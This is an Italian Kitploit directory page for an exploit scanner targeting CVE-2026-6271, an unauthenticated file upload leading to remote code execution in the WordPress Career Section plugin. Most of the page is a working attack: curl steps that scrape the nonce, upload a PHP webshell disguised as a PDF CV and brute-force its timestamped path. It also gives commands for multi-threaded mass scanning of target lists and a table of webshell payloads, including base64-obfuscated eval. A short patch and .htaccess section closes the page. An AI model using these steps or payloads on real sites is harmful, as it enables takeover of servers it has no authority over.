Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-6271 — Scanner automatizzato per CVE-2026-6271, un upload di file arbitrario non autenticato critico che porta a RCE nel plugin WordPress Career Section. Supporta scansione multi-thread, più tipi di shell e integrazione proxy. | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-6271
Scanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

Scanner automatizzato per CVE-2026-6271, un upload di file arbitrario non autenticato critico che porta a RCE nel plugin WordPress Career Section. Supporta scansione multi-thread, più tipi di shell e integrazione proxy.

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-6271 — Scanner RCE per il Plugin WordPress Career Section

Plugin: Career Section (career-section) CVE ID: CVE-2026-6271 Punteggio CVSS: 9.8 (Critical) Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo di vulnerabilità: Unauthenticated Arbitrary File Upload → Remote Code Execution Versione interessata: <= 1.7 Versione corretta: 1.8 Data di pubblicazione: 13 maggio 2026 Ricercatore: Paolo Tresso — Wordfence


📌 Sulla vulnerabilità

Il plugin Career Section consente ai proprietari dei siti di pubblicare offerte di lavoro e raccogliere candidature. Ogni pagina di offerta di lavoro contiene un modulo "Apply Now". Questo modulo include un campo per il caricamento di un file CV.

Nelle versioni 1.7 e precedenti il gestore del caricamento accetta qualsiasi tipo di file — incluso .php. Poiché il modulo è pubblico e il token CSRF è incorporato nell'HTML della pagina, questa vulnerabilità può essere sfruttata senza richiedere alcun account o privilegio.


⚙️ Analisi tecnica

Perché il nonce non fornisce protezione?

I nonce di WordPress sono token CSRF, non token di autenticazione. Il valore del nonce è incorporato nell'HTML della pagina per ogni visitatore:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

Qualsiasi visitatore non autenticato può ottenere un nonce valido e superare il controllo di validazione.

Manca la validazione del tipo di file

root@kitploit:~
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // Uzantı kontrolü YOK — .php dahil her şey kabul edilir
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() pulisce solo i caratteri speciali, non blocca le estensioni pericolose.

Directory di upload

root@kitploit:~
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

In questa directory non è presente un file .htaccess che impedisca l'esecuzione di PHP.


🔴 Perché è critica?

MotivoDescrizione
Nessuna autenticazione richiestaIl nonce è incorporato nell'HTML pubblico
Nessuna restrizione sul tipo di file.php, .php5, .phtml accettati
Nessuna protezione .htaccessPHP viene eseguito nella directory di upload
Nome file prevedibiletime()_filename → brute-force del timestamp

🧪 Proof of Concept (Manuale)

⚠️ Disclaimer: Questa PoC è solo a scopo educativo. Testala solo su sistemi che possiedi o per i quali hai ricevuto esplicita autorizzazione scritta.

Prerequisiti:

  • Plugin Career Section installato e attivo (versione ≤ 1.7)
  • Almeno un'offerta di lavoro pubblicata

Passo 1 — Creare una webshell PHP

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php

Passo 2 — Recuperare il nonce

root@kitploit:~
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Struttura da cercare nel sorgente della pagina:

root@kitploit:~
<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Passo 3 — Caricare la webshell

root@kitploit:~
TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Passo 4 — Innescare la RCE

Il nome del file ha il formato <timestamp>_shell.php. Prova i timestamp attorno a $TS:

root@kitploit:~
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell aktif: $URL"
    echo "RCE çıktısı  : $RESULT"
    break
  fi
done

Output atteso:

root@kitploit:~
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Scanner automatico

Installazione

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilizzo

Singolo target

root@kitploit:~
python career_section_rce.py -u http://hedef.com

Con URL diretto dell'offerta di lavoro

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

Con verifica della shell

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

Scansione multipla

root@kitploit:~
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

Aumenta la finestra timestamp (server lenti)

root@kitploit:~
python career_section_rce.py -u http://hedef.com --ts-window 10

Full Shell + Proxy (Burp Suite)

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Parametri

ParametroBreveDescrizionePredefinito
--url-uURL target singolo—
--list-lFile con elenco di target—
--threads-tNumero di thread10
--output-oFile di outputrce_confirmed.txt
--job-url—URL diretto della pagina dell'offerta di lavoro—
--shell-name—Nome del file da caricareshell.php
--shell-type—Tipo di shellsystem
--verify-cmd—Comando di verifica RCEid
--ts-window—Finestra di brute-force timestamp (±s)5
--proxy—URL del proxy—
--timeout—Timeout delle richieste (s)10

💀 Tipi di shell

TipoPayloadDescrizione
system<?php system($_GET["cmd"]); ?>Comando di sistema di base
passthru<?php passthru($_GET["cmd"]); ?>Output grezzo
exec<?php echo exec($_GET["cmd"]); ?>Esecuzione silenziosa
assert<?php assert($_POST["cmd"]); ?>Eval via POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Offuscamento Base64
fullshell_exec + system + exec fallbackShell completa

📂 Posizione di caricamento della shell

root@kitploit:~
WordPress Kök/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell burada

Accesso diretto:

root@kitploit:~
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Stati di output dello scanner

StatoDescrizione
★ RCE OKShell caricata + comando eseguito con successo
★ SHELL ALIVEShell accessibile, risposta diversa restituita
~ EXEC_DISABLEDLa shell esiste ma exec() è disabilitato sul server
? UPLOADEDCaricata ma timestamp non trovato
- BLOCKEDTipo di file bloccato (versione corretta)
~ NO_NONCEcsaf_form_nonce non trovato
~ TIMEOUTTimeout di connessione
~ UNREACHTarget non raggiungibile

🖥️ Esempio di output dello scanner

root@kitploit:~
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (kaynak: http://hedef1.com/careers/engineer/)
  Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (dosya tipi engellendi)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce bulunamadı)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────

🛡️ Difesa / Patch

MisuraImplementazione
Aggiornamento del pluginAggiorna a Career Section 1.8 o superiore
Blocco esecuzione PHPAggiungi .htaccess nella directory di upload
Whitelist estensioniAccetta solo pdf, doc, docx
Validazione MIMEControllo del contenuto reale con finfo_file()
Regola WAFBlocca le richieste di caricamento di .php

.htaccess per la directory wp-content/uploads/cs_applicant_submission_files/:

root@kitploit:~
<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 Struttura dei file

root@kitploit:~
cve-2026-6271-scanner/
├── career_section_rce.py   # Ana tarayıcı
├── requirements.txt        # Bağımlılıklar
└── README.md               # Bu dosya

⚠️ Avviso legale

Questo strumento e la PoC sono stati realizzati per essere utilizzati esclusivamente su sistemi autorizzati, a scopo educativo e nell'ambito di test di penetrazione. L'utilizzo su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del codice penale turco e delle leggi internazionali sui crimini informatici. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.


📄 Licenza

MIT License — Solo a scopo educativo e di ricerca.


🔗 Riferimenti

  • Wordfence Advisory
  • WordPress Plugin Directory — Career Section
  • Calcolatore CVSS 3.1
Scarica lo strumento